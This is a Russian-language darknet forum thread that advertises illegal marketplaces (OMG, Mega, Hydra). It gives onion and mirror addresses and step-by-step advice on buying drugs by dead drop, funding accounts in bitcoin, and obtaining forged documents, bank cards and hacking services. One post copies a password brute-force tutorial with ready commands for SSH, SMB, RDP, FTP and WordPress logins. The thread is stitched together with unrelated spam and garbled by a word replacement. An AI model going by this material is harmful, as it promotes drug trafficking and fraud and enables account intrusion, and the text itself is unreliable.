Пароли сайтов онион

Utaxeji

Модератор
Подтвержденный
Сообщения
408
Реакции
15
Уважаемые пользователи RuTOR , Все сайты из нашего списка проверены и находятся онлайн, их нет в скам листах. Остерегайтесь фишинг сайтов и помните об уголовной ответственности за незаконные сделки. Подборка официальных сайтов по продаже веществ от форума Rutor носит исключительно информативный характер.

1. OMG!OMG - MOST ADVANCED DARKMARKET

Эта площадка существует довольно давно и в этот период она медленно развивалась в тени гидры. В настоящее время это ведущий сайт по продаже веществ в даркнете.
 

 

2. MEGA - DARKNET MARKET

Благодаря хорошей подготовке и листингу на зарубежных сайтах площадка смогла составить конкуренцию в стабильности и доступности, чего не смогли ее конкуренты, но все же она уступает по полпулярности площадке OMG!OMG!

 

3. HYDRA - Возрождение легенды.

Идут работы по восстановлению всеми любимой гидры, но все не так просто как казалось ранее, совсем скоро она будет доступна, а сейчас нам остается только ждать релиза от команды HYDRA.

 

________________________
RUTOR — Главная торговая и информационная площадка в сети Tor.



J

Jifologa

Местный
Сообщения
95
Реакции
6
Пароли сайтов онион
ОМГ – один из самых крупных даркмаркетов, широкая платформа, дающая возможность любому посетителю реальность покупать неразрешенный товар либо воспользоваться услугой, найти которую в открытом доступе почти нереально. На интернет-портале находится огромное число online магазинов. Надо детальнее выучить, что представляет собой площадка и для чего необходим пользователям Гидры интернет-браузер Tor.Обзор на ГидруОМГ сайт – это большая платформа, на необъятных просторах которой всякий подыщет для себя нужную вещь либо услугу, о которой прежде мечтал. Реализацией изделий официальный заняты специальные торговые центры, действующие круглые сутки и с завидной постоянностью обновляющие и так объемистый ассортимент. Особо можно заметить, что интернет-проект предоставляет услуги транспортировки купленного продукта.Оформление заявки не требует большое количество времени. В общем доступе расположены рецензии заказчиков, уже пользовавшихся работой конкретного магазина. В связи с этим возможный заказчик сможет предварительно прочитать их и выяснить о качестве продукции, тонкостях сотрудничества с продавцом.Особенность omgbuiwftrzuqy.onion сайта – наличие службы секретных клиентов. Политика, какую они проводят, помогает увеличить уверенность клиентов. Оказывается скрытые клиенты покупают разные товары и делают их тест, в том числе и химический. Если товар не подходит конкретным условиям, значит продавец, у которого был куплен товар, заблокируются системой, а его товар пропадает с онлайн прилавков.Транспортировка заказа производится в режиме закладки. Кладмен приезжает по обозначенному заказчиком местоположению и прячет предмет торговли, после чего посылает его координаты. Оплату покупатель имеет право осуществить только лишь когда станет взят товар, и конечно выполнена оценка его качества. При появлении проблем с качественными характеристиками или транспортировкой заказчик сможет открыть спор.Главная валюта Гидры – биткоин. Превосходством подобной валюты является анонимность электронных активов, в связи с чем все организуемые на ресурсе операции с денежными средствами защищены. Определенные он-лайн магазины готовы взять в оплату QIWI-рубли.Наши советы начинающим покупателямЧтобы в ходе приобретений не появилось никаких затруднений, потребителю нужно принять к сведению ряд рекомендаций:Перед покупкой важно смотреть отзывы о приобретаемой услуге либо изделии. Это поможет заранее выяснить о качественных характеристиках продукции, спецификах магазина, нюансах доставки. Рецензии располагаются в общем доступе.Плату предпочтительнее производить после того как приняли заказ. Только в этом случае у клиента окажется способность вернуть средства при обнаружении плохого качества продукта.В том случае, если покупателю пришлась по нраву услуга или он выдал оценку изделию, надо написать отзыв. Это обязательно поможет прочим клиентами Гидры сделать правильный выбор.Модераторы платформы также рекомендуют использовать ранее нигде не задействованные логины и пароли во время регистрирования своего аккаунта.Tor – браузер для ГидрыОсобый браузер Tor позволит гостям портала беспрепятственно войти на официальный интернет-сайт, предоставляя ссылку на омг сайт. Достоинством платформы стало присутствие принципа «луковичной маршрутизации», именно благодаря какой вход Гидры, а также совершение каких-то операций на площадке будет оставаться анонимным и безопасным для обеих сторон.Для того, чтобы установить Тор, потребуется:Перейти на сайт.Закачать архив.Открыть в архиве файл с расширением exe.Выбрать папку и язык установки.Дожидаться окончания операции.После чего останется только запустить браузер и ввести в поисковую строку подходящий запрос. По основной ссылке на Гидру и можно попасть на официальный сайт даркмаркета. Абоненту надо будет перейти на нее, сайт для того, чтобы приступить к покупкам.Каким способом завести учёту на Гидре?Для того, чтобы пребывать на сайте официально и проплачивать изделия и сервисы портала, клиенту Гидры нужно создать личный аккаунт. Для этой цели ему потребуется:Перейти в раздел регистрации на сервисе ОМГ.Выдумать логин и пароль задуманного аккаунта. Модераторы вебсайта рекомендуют применить ранее нигде не задействованные сведения.Подтвердить пароль, введя его еще раз.Засвидетельствовать прохождение регистрации.После завершения вышеуказанного клиенту откроется вход в личный кабинет, где у него есть возможность иметь сведения о состоянии заявки, проплачивать товары либо устанавливать связь с дирекцией проекта.Баланс на Гидре – каким образом пополнить?Для проплаты закупок нужно будет дополнить счет собственного кошелька. Чтобы это осуществить, нужно сначала купить особый фиат, потом за него приобрести биткоин – главную валюту системы. Потом останется только лишь перебросить биткоин в кошель, и станет возможно покупать товары или сервисы.Приобрести фиат можно работая в режиме online на специальном ресурсе или в ближнем месте обмена. Доскональную информацию по вопросу, как покупать валюту, а также в каком месте это делают, можно получить, сделав мониторинг обмена криптовалют.Когда фиат обменяете на необходимое число биткоинов, понадобится выполнить перечисление криптовалюты в игру. Сделать это можно двумя вариантами:Используя цифровую денежную систему, в частности, QIWI. Для того, чтобы произвести перевод, нужно скопировать номер электронного кошелька и определить величину перевода. Остальное система проделает самостоятельно.Используя пункт обмена на Гидре. Требуется указать кошелек, где располагаются биткоины и подтвердить выполнение действия.Фактически, технология перевода биткоина не представляет из себя ничего сложного.Как отыскать доступную ссылку на гидру?Поскольку ОМГ выполняет свою деятельность нелегально, торгуя нелегальными веществами и предлагая запрещенные сервисы, отыскать ее быстро не удастся. Выполнить это сможете с применением интернет-браузера Tor. Дополнительно создатели портала настоятельно рекомендуют сохранить официальную страничку даркмаркета в закладки браузера, чтобы было можно всегда зайти на измененный доменный интернет-адрес ссылку на omg зеркало. Изменение адреса объясняется тем, что главный портал частенько блокируют.
 

Unycud

Продвинутый юзер
Сообщения
65
Реакции
18
й поддерживает раздельное тунеллирование и P2P активность – а, значит, и скачивание торрентов. И, хотя бесплатное использование Windscribe не позволит получить доступ к фильмам и сериалам Netflix для США (возможность доступна только премиум-пользователям), сервис впечатляет неплохим объёмом трафика.
Пользуясь этим быстрым ВПН бесплатно, можно рассчитывать на 10 ГБ ежемесячно. Иногда компания проводит специальные акции, увеличивающие трафик. Притом, что сервис доступен для пользователей почти любого компьютера или мобильного гаджета, а также хранилищ NAS, СМАРТ-телевизоров и роутеров. К минусам относят небольшое количество стран в бесплатной версии. Ссылка на сайт2. ProtonVPNВ топе лучших бесплатных ВПН можно найти сервис ProtonVPN, открывающий доступ к Netflix и Kodi. Торренты скачивать нельзя – зато и трафик не ограничен. Бесплатный безлимитный ВПН доступен для использования круглосуточно, на десктопных ПК и мобильных устройствах.
Среди плюсов – высокий уровень шифрования (ключи 256 бит) и неплохая пропускная способность. Можно использовать бесплатно американский ВПН, притвориться жителем Японии и Нидерландов. А платная версия доступна в течение 30 дней с возможностью возврата средств.3. Hotspot ShieldВ списке бесплатных ВПН есть Hotspot Shield – сервис, с помощью которого можно скачивать торренты и пользоваться потоковыми сайтами. Программное обеспечение есть для большинства популярных компьютерных и мобильных систем. И, хотя безлимитным ВПН назвать нельзя, ограничения у него небольшие. В день можно тратить до 0,5 ГБ трафика – хватит для просмотра 30 минут видео
Среди особенностей сервиса – шифрование с ключом 256 бит, высокая надёжность и отсутствие необходимости в регистрации. К минусам относят уменьшение скорости для бесплатного варианта программы. Зато есть возможность неделю бесплатно пользоваться премиум-версией.4. hide.me С помощью сервиса hide.me можно без ограничений пользоваться сайтами Kodi и Spotify. Поддерживается загрузка торрентов и большинство современных платформ, включая даже Amazon Fire OS и устаревшую мобильную ОС Windows Phone.
Объём ежемесячного трафика – 10 ГБ. Информация защищена 256-битным шифрованием. А среди минусов можно отметить ограничение 5 серверами для бесплатной версии. А ещё можно попробовать более скоростной и безопасный ВПН, пользуясь премиум-версией до 30 дней и вернув средства.5. TunnelBearСервис TunnelBear позволяет просмотр видео на сайте HBO и скачивание торрентов, поддерживает несколько операционных систем и предлагает 0,5 ГБ трафика в сутки бесплатно. Немного, но достаточно для скачивания мобильной игры или просмотра видео в формате 720p.
К плюсам можно отнести надёжное шифрование данных. Среди минусов – отсутствие возможности использования Netflix и Hulu. Если нужно посмотреть сериал на этих сайтах, стоит выбрать безлимитную версию ВПН для ПК за $3,33 в месяц.
Пароли сайтов онион
 
P

Pypuve

Продвинутый юзер
Сообщения
29
Реакции
0
WELCOME TO THE HERO FACTORY.Prodotti aspirazionali, manager ispirazionali:
il mercato ha bisogno di eroi.
Ed eroi si diventa. Spesso, insieme a noi.
Da 30 anni il successo di manager, brand e prodotti
passa per BPRESS.Be the next hero.HOW TO MAKE A HERO.Come nasce un hero product?Come si presenta un prodotto e si racconta un brand per attirare l’attenzione dei potenziali clienti? Come si differenzia dalla concorrenza? Il nostro incarico comincia proprio qui, creando la strategia di comunicazione più adatta e lavorando duramente per fare diventare brand e prodotti i protagonisti di uno stile di vita. E noi partiamo da quello che ti aspetti da un’agenzia di PR: le relazioni con i giornalisti e i blogger per creare interesse e visibilità sui media tradizionali e online, il dialogo con gli influencer e i brand ambassador attraverso i social media, la progettazione di eventi e la produzione di contenuti multimediali. Uniamo media relations e comunicazione tradizionale con i nuovi linguaggi del video making e dello storytelling. Cioè, per usare una parola di moda: ci occupiamo di content marketing.Come far parlare di un’azienda?Aiutando i manager a dialogare con la business community. Studiando competitor e mercati, parlando quotidianamente con i giornalisti-chiave e con i blogger,organizzando incontri, interviste ed eventi con i media nazionali, locali e verticali cartacei, on air e on line. Insomma, facendo tutto quello che è utile per favorire il dialogo con gli influencer sui temi-chiave. Risultato: i manager delle aziende per cui lavoriamo crescono in autorevolezza e riconoscibilità. Perché la comunicazione corporate oggi passa attraverso il personal branding del top management, il media training e le speaking opportunities. Ma anche attraverso contenuti di qualità, interessanti per i media e per le community dei clienti. E poi, sperando di doverlo fare il meno possibile, affianchiamo l’azienda nel crisis management.Be the next hero.I nostri eroiSCOPRILI TUTTIDicono di noiNFONGrande conoscenza del mercato e degli opinion leader, contatti chiave nel mondo dei media e abilità nel trasmettere e amplificare i messaggi strategici, nei tempi e nei modi corretti: in BPRESS non abbiamo trovato solo l’eccellenza in questi ambiti ma anche un team capace di anticipare le nostre richieste, di proporre idee e contenuti di qualità e di un dinamismo contagioso. Marco Pasculli, VP International Revenue Operations – NFONBABBELBabbel si è posizionata nel tempo come punto di riferimento e realtà esperta nel campo dell’educazione, oltre che come fonte autorevole di dati e informazioni per differenti tipologie di media. Non solo in ambito strettamente linguistico, ma in un contesto più ampio associato al mondo della cultura, della tecnologia, della carriera e del lifestyle. Per raggiungere questo traguardo il team BPRESS è stato fondamentale, grazie a un lavoro costante di content creation, che ci ha permesso di trasmettere i vantaggi del metodo Babbel, di raggiungere le differenti tipologie dei nostri utenti e di ottenere una media coverage sempre in crescita e di grande qualità.Raquel Meca Garrido, Senior International PR Manager Spain, Italy, France – BABBELLINEA MAMMABABYLa brand essence rappresenta il cuore e l’anima di un’azienda e il Team BPRESS è riuscito da subito, con velocità e grande competenza, a cogliere l’essenza del nostro marchio. E questo è fondamentale per un brand come Linea MammaBaby, pensato per un target allargato, i bambini e l’intera famiglia. Abbiamo lanciato insieme nuovi prodotti, con successo, e siamo riusciti finalmente a fare quel cambio di passo nella comunicazione, sia sui mezzi tradizionali, sia sui canali social!Maria Elena Olcelli, CEO – LINEA MAMMABABYNEXTDOORIn BPRESS ho trovato innanzitutto un partner, non solo un consulente. Ho trovato un alleato, che mi ha affiancato negli anni, nella comunicazione strategica e operativa. Ho trovato un team sempre disponibile e appassionato che, fin dal lancio di Nextdoor in Italia, non ha mai smesso di creare campagne Pr particolarmente smart, tanto da essere più volte fonte di ispirazione per le agenzie di comunicazione delle altre country europee in cui siamo presenti.Amedeo Galano, Head of Italy – NEXTDOORDoppietta di premi per BPRESS ai Touchpoint Awards Engagement 2021R3START! TV, la web tv in live streaming sui canali FB e di BPRESS, si aggiudica il primo premio di categoria Comunicazione Corporate Il lancio di Le Mani sul Mondo, primo podcast Audible Original di Roberto Saviano in esclusiva per Audible.it – nell’ambito di Maratona Podcast – Tramedautore – ...
 

Vagofixe

Продвинутый юзер
Сообщения
101
Реакции
9
Omg onion - криптомаркет нового поколения, функционирует на огромной территории всего бывшего СССР, на данный момент плотно "заселены" продавцами всех районов Российской Федерации, функционирует 24 часа в сутки, 7 дней в неделю, круглосуточная онлайн-поддержка, авто-гарант, автоматизированные продажи за Киви или биткоин.Ссылка - Рабочее зеркало для браузеров без Тор подключенияОбратите внимание! Существует много мошеннических площадок сделанных на домене onion, у настоящего сайта после omgruzxpnew4af идёт слово onion, внимательно проверяйте адрес сайта.Давайте рассмотрим внимательно, что за странный исполин о трёх головах:Встречают обычно по одёжке, те времена когда сайты в онионе были простыми давно прошли, omg onion говорит нам Добро пожаловать дорогим удобным дизайном, видна огромная работа, каждый пиксель учтен. Функционал предоставлен огроменный, здесь есть все - регистрация, курс btc/рубль, товары, маркеты, возможность создания приватных сообщений, удобный поиск по товарам с возможностью выбора своего города. Главная страница omg нас приветствует огромным списком безопасных магазинов, работающих не первый день, в самом низу страницы можно найти раздел новостей, куда постоянно выкладывают свежие новостные сводки, конечно не такие интересные как у нас :).По заявлению администрации ОМГ тор, сайт полностью написан с нуля, что даёт гарантию отсутствия общеизвестных уязвимостей в коде, насколько нам известно код писался omg onion сайта более года, "дипмаркет" работает с 2015 года, никаких новостей об утечке данных, взломе, краж битков за это время не было, из чего имеем полное право сделать вывод, что магазин безопасен.Далее в нашем обзоре будет изучен весь диковинный зверь, но вначале о главном, то что действительно актуально для каждого пользователя и потенциального покупателя. Очень важно - товар и цены, сказать, что на Гидре разнообразный товар, это ничего не сказать, в продаже разномастные документы на все случаи жизни ОСАГО, акцизные марки табака и алкоголя, водительские удостоверения разнообразных стран, дипломы высших учебных заведений, получение гражданства Украины или Молдовы, дебетовые карты всевозможных банков, sim-карты операторов связи России, Азии, Европы, флешки с Tails, схемы заработка, и разумеется разнообразные психо-активные вещества, марихуана, амфетамин, героин, бошки, гашиш, a-pvp, mdvp, экстази, грибы, марки, кокаин, мефедрон, полный список смотрите сами на сайте магазина.Ценообразование, нам хотелось бы упомянуть, что цены на omg tor копеечные и всё отдают даром, но это не так. Как известно в наш век, хороший товар - хорошо стоит, и можно было бы ужаснуться ценам, которые были изначально, но подпольная экономика сыграла злую шутку, и новые барыги (новые продавцы), чтобы заполучить приток покупателей к себе, стали снижать цены до минимальных, тем самым начиная демпинговать, принуждая других игроков рынка со временем также понижать стоимость, так как вечно получать сверхприбыль нельзя. На данный момент, ценники по всем товарам стали вполне приятными, но учитывая постоянный рост аудитории и геометрически увеличивающиеся количество новых барыг Гидры, цены претерпят в будущем корректировку, скорее всего рынок будет диктовать правила снижения ценников, для более интересной, конкуретной борьбы за клиентов. Для безопасности покупателей работает система авто-гаранта, как это выглядит? Любая продажа проходящая в магазине, автоматически "страхуется", в случае спорных ситуаций к беседе присоединяется админ. Из полезностей - моментальные покупки, возможность быстро купить выбранный товар, без ожидания подтверждения транзакции в blockchain, что очень удобно, так как транзакция может подтвердиться и через сутки, оплата в btc и киви, как в старые добрые времена просто, пополнить баланс сайта можно даже через Сбербанк! Конечно доступен предзаказ, но здесь уже лучше обговаривать нюансы с продавцом. По словам администрации все торговцы проходят проверку, т.е. все представленные магазины 100% не обманщики, что само собой разумеется, так как бесплатно на торговой площадке никого размещать не будут, кроме этого администрация контролирует качество работы магазинов веерными закупками. Внутри встроен мессенджер, аналог watsapp, у которого даже есть хештеги, ещё бы лайки приделали :), распределение на группы, приватные беседы и многое другое, мы думаем данный функционал гораздо более полезен магазинам для становления "корпоративной" сети. Более всего радует система технической поддержки, которая работает онлайн, в чат можно пригласить модератора, для разрешения любой спорной ситуации, даже в праздники отвечают очень быстро, мы проверяли под новый год, как только администратор принял решение, всем участникам беседы приходит об этом сообщение. =) Внутри торговой площадки огромное количество функций, система самоуничтожающихся записок, отзывы покупателей о всех продавцах, система рейтинга, десятибальная шкала оценки магазинов, возможность оставлять отзывы после каждой покупки, общий рейтинг продавцов, рейтинг покупателей, отображается количество сделок совершённых продавцом и тд и тп.Итог.ОМГ во истину огромное чудовище с тремя головами, движение которого крайне трудно предугадать, у данного сайта нет конкретной аудитории, он охватывает все сферы теневого бизнеса, от продаж ПАВ до торговли документами и банковскими картами, география и обьем продаж можно сравнить разве что с Avito, который известен каждому пользователю интернета. Конечно такой огроменный супермаркет в онионе ярко выделяется и сильно заметен, он привлекает разносторонную публику и, скорее всего, именно это желание всего и вся может сыграть злую шутку, но ведь для этого у omg на каждое дело своя голова, отрубишь одну вырастут две, как известно, на данный момент это лидер рынка, за что и занимает первую строчку нашего рейтинга. Что ещё сказать?Сейчас магазин Гидры очень популярен в сети, у неё даже появились зеркала, например, сайты предоставляют своим посетителям быстрый вход на сайт магазина. Проект omg в onion расположен, обязательно проверяйте адрес ссылки куда заходите, вот 100% рабочая и настоящая ссылка.Что то как то слишком отлично получилось, такое даже у вас ощущение, что статья скорее всего заказная, слишком всё хорошо не бывает, ложка дёгтя должна где то быть, и ложка дёгтя есть в том, что проект новый, крайне амбициозный, сайту менее двух лет, хоть он и развивается семимильными шагами, но что будет в будущем покажет только время.
 
O

Otisov

Продвинутый юзер
Сообщения
49
Реакции
16
Brute-force (атака полным перебором) обычно используется в контексте хакерских атак, когда злоумышленник пытается подобрать логин/пароль к какой-либо учетной записи или сервису. Рассмотрим инструменты, которые можно использовать для выполнения атак методом перебора: omg 8.6, Medusa 2.2, Patator 0.7 и Metasploit Framework 4.17.17-dev, входящие в состав Kali Linux 2019.1. В зависимости от поддерживаемых протоколов будем использовать наиболее подходящие инструменты. Словарь паролей и пользователей сгенерируем самостоятельно с использованием Crunch.Информация предназначена исключительно для ознакомления. Не нарушайте законодательство.CrunchСловарь с пользователями мы взяли небольшой и записали в него 4 пользователя.Для составления словаря используется Crunch, как встроенное средство. Инструмент гибкий и может составить словарь по определенной маске. Если есть вероятность того, что пользователь может использовать словарный пароль, то лучше воспользоваться уже готовыми решениями, тем более, что, как показывает практика, самый популярный пароль – 123456.Генерировать словарь будем на 5 символов по маске. Данный метод подходит для случаев, когда мы имеем представление о структуре пароля пользователя.crunch 5 5 qwe ASD 1234567890 -t @@,%@ -o /root/wordlist.txt5 – минимальное и максимальное количество символов;
qwe, ASD, 1234567890 – используемые символы;
-t – ключ, после которого указывается маска для составления пароля;
@ – нижний регистр;
, – верхний регистр;
% – цифры.Сразу отметим, что на первых этапах мы будем для каждого инструмента описывать используемые ключи, но далее те же самые ключи уже не будут рассматриваться подробно, поскольку они крайне похожи друг на друга, а значит, имеют аналогичный синтаксис.Patatorpatator ssh_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:mesg=’Authentication failed’ssh_login – модуль;
host – наша цель;
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора;
password – словарь с паролями;
-x ignore:mesg=’Authentication failed’ – не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.Все инструменты мы тестируем с количеством потоков по умолчанию, никаким образом их количество не изменяем.
Patator справился ровно за 7 минут 37 секунд, перебрав 2235 вариантов.omgomg -f -L /root/username -P /root/wordlist.txt ssh://192.168.60.50-f – остановка перебора после успешного подбора пары логин/пароль;
-L/-P – путь до словаря с пользователями/паролями;
ssh://IP-адрес – указание сервиса и IP-адреса жертвы.omg затратила на перебор 9 минут 11 секунд.Medusamedusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M ssh-h – IP-адрес целевой машины;
-U/-P – путь к словарям логинов/паролей;
-М – выбор нужного модуля.Medusa за 25 минут обработала только 715 комбинаций логин/пароль, поэтому данный инструмент не лучший выбор в случае с брутфорсом SSH.MetasploitПроизведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_loginЗадействуем модуль:
use auxiliary/scanner/ssh/ssh_loginДля просмотра необходимых параметров воспользуемся командой «show options». Для нас это:
rhosts – IP-адрес жертвы;
rport – порт;
user_file – путь до словаря с логинами;
pass_file – путь до словаря c паролями;
stop_on_success – остановка, как только найдется пара логин/пароль.По умолчанию Metasploit использует 1 поток, поэтому и скорость перебора с использованием этого модуля очень низкая. За 25 минут так и не удалось подобрать пароль.Patatorpatator imap_login host=192.168.100.109 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=1imap_login – используемый модуль;
-x – параметр, который помогает фильтровать ответы от Patator. В данном случае игнорируем ответы с кодом 1.Параметр х является уникальным для каждого конкретного случая, поэтому рекомендуется сначала запустить инструмент без него и посмотреть какие ответы в основном приходят, чтобы затем их игнорировать.В итоге Patator смог подобрать пароль за 9 минут 28 секунд, что является практически тем же самым показателем, что и в случае с SSH.omgomg -f imap://192.168.60.50 -L /root/username -P /root/wordlist.txtomg справилась за 10 минут 47 секунд, что довольно неплохо.MedusaВ связи с тем, что на сервере использовался самоподписанный сертификат, Medusa выдавала ошибку, исправить которую настройками инструмента не удалось.MetasploitВ Metasploit не удалось подобрать подходящий модуль для брутфорса IMAP.SMBPatatorПри использовании Patator появилось большое количество ложных срабатываний.omgomg -L /root/username -P /root/wordlist.txt 192.168.60.50 smbБлагодаря своим алгоритмам omg справилась с задачей всего за 5 секунд.Medusamedusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M smbntЗапуская перебор, я ожидал результатов, схожих с предыдущими, но на этот раз Medusa меня приятно удивила, отработав за считанные секунды.MetasploitС помощью поиска search smb_login находим нужный модуль scanner/smb/smb_login и применяем его.Необходимо указать параметры:
RHOSTS – IP-адрес жертвы;
USER_FILE – словарь с пользователями;
PASS_FILE – словарь с паролями;
STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль.Metasploit справился с задачей за 1 минуту.RDPPatatorpatator rdp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=132К сожалению, на данный момент из тестируемых инструментов только Patator может подбирать логин/пароль для RDP-протокола. При этом, даже если Patator и справился с поставленной задачей, в выводе дополнительно появилось ложное срабатывание.WEBДля начала нам необходимо понять, как происходит процесс аутентификации.
Для этого нужно отправить тестовые запросы аутентификации и уже из поведения веб-приложения можно будет увидеть, что неверный пароль возвращает код ответа 200, а успешная аутентификация — 302. На эту информацию и будем опираться.PatatorУчитывая ответы веб-приложения на тестовые запросы, составим команду для запуска Patator:patator http_fuzz url=http://site.test.lan/wp-login.php method=POST body='log=FILE0&pwd=FILE1&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1' 0=/root/username 1=/root/wordlist.txt before_urls=http://site.test.lan/wp-login.php -x ignore:code=200 accept_cookie=1http_fuzz – модуль для brute-force атаки HTTP;
url – адрес страницы с аутентификацией;
FILE0 – путь до словаря с паролями;
body – информация, которая передается в POST запросе при аутентификацией;
-x – в данном случае мы указали команду не выводить на экран сообщения, содержащие параметр с кодом 200;
accept_cookie – сохранение параметра cookie и передачи его в следующий запрос;
Итог — нам удалось подобрать пароль чуть менее, чем за 30 секунд, что очень быстро.omgКак мы уже знаем, при неверной аутентификации возвращается код 200, а при успешной — 302. Воспользуемся этой информацией и выполним команду:omg -f -L /root/username -P /root/wordlist.txt http-post-form://site.test.lan -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1:S=302"Здесь мы указываем обязательные параметры:
-f – завершить перебор после получения валидной пары логин/пароль;
-L – словарь с пользователями;
-P – словарь с паролями;
http-post-form – тип формы (в нашем случае POST);
/wp-login.php – URL страницы с аутентификацией;
^USER^ – показывает куда подставлять имя пользователя;
^PASS^ – показывает куда подставлять пароль из словаря;
S=302 – указание на какой ответ опираться omg (в нашем случае — ответ 302 при успешной аутентификации).Успех ожидал нас уже через 3 минуты 15 секунд.Medusamedusa -h site.test.lan -U /root/username -P /root/wordlist.txt -M web-form -m FORM:"/wp-login.php" -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1"К сожалению, при попытках перебора пароля Medusa выдает ошибку «Segmentation fault».MetasploitС помощью поиска search wordpress_login находим нужный модуль auxiliary/scanner/http/wordpress_login_enum и применяем его. Необходимо указать параметры:
PASS_FILE – словарь с паролями;
RHOSTS – адрес жертвы;
STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль;
USER_FILE – словарь с пользователями;
VALIDATE_USERS – отключить проверку существования учетной записи пользователя;
VERBOSE – отключить лишний вывод;
VHOST – доменное имя атакуемого сайта.
Затраченное время — 32 секунды.FTPPatatorpatator ftp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=530В данном модуле Patator работает уже медленнее, чем с Web-формами, а пароль был подобран за 11 минут 20 секунд.omgomg -f -L /root/username -P /root/wordlist.txt ftp://192.168.60.50Работая по умолчанию в 16 потоков, omg смогла перебрать пароли за 7 минут 55 секунд.Metasploit, MedusaВ Metasploit используем модуль auxiliary/scanner/ftp/ftp_loginВ случае с Medusa запрос выглядит следующим образом:
medusa -f -M ftp -U /root/username -P /root/wordlist.txt -h 192.168.60.50Все параметры стандартные, указываем путь до словарей и обязательно ставим завершение перебора после найденной пары логин/пароль.
С этим протоколом, как и c SSH, Metasploit и Medusa плохо справляются при стандартном количестве потоков. Поэтому если есть желание использовать именно эти инструменты, то необходимо вручную увеличивать количество потоков. Но и тут не все так просто. В однопоточном режиме FTP-сервер при использовании этих инструментов, сбросил соединение, чего не наблюдалось при использовании Patator или omg. Поэтому есть вероятность, что увеличение количества потоков не изменит ситуацию.Заключение.Протестировав разные, но в то же время похожие инструменты на различных сервисах, можно сказать, что у каждого из них есть как достоинства, так и недостатки, а с каким инструментом работать — решать только вам.Ниже представлена сводная таблица с полученными результатами:P.S. Потренироваться можно в наших лабораториях lab.pentestit.ru.
 
K

Kolyx

Продвинутый юзер
Сообщения
27
Реакции
3
#103-11-2022, 12:37 PMОнлайн магазин omg omgclubbioknikokex7nchid.onion-zerkalo.comСквозь следующий веб сайт Вы очень легко попадёте на знаменитый сайт ОМГ, чтобы приобрести необходимые вещи с доставкой по России и СНГ. Сайт весьма трудно отыскать, так как он часто вынужден менять свои домены. Поэтому, сохраните себе наш онлайн портал omgclubbioknikokex7nchid.onion-zerkalo.com и рекомендуйте только друзьям.Зайти на ссылка на гидру в торе можно прямо сейчас. На omg Onion расположен самый огромный выбор магазинов со всеми обязательными товарами. Тут можно купить документы такие, как: паспорт, водительские права, гражданство, военный билет, аттестат и другие. А также множество различных услуг, взлом вотс ап, лекарства, иностранные сигареты и тому подобное.Чтобы воспользоваться магазином ОМГ, надо заполнить свой собственный аккаунт. Следом выбирайте продукты из магазинов, которые планируете приобрести. Пополните баланс кошелька, оплатите и ожидайте доставку. Доставка происходит разными способами, не только стандартными, так что будьте к этому подготовлены.Если Вам необходимо ссылка на гидру немедленно, то скорее заходите на наш веб ресурс. Так как сайт часто пропадает с просторов, запомните его omgclubbioknikokex7nchid.onion-zerkalo.com и не потеряйте.При запросе вещей возможно пользоваться фильтрами-самые покупаемые товары, по названию, дате добавления и другие. Для Вашего комфорта товары расположены по категориям. По любым вопросам обязательно пишите в техническую поддержку сайта, менеджеры постоянно проверяют качество обслуживания магазинов. Мы желаем Вам удачных закупок.В инет-магазине также очень в тренде угги австралия официальный сайт и UGG тёмно-синие. К тому же, коллекция LUX стала лидером по продажам этого года.
 
Сверху Снизу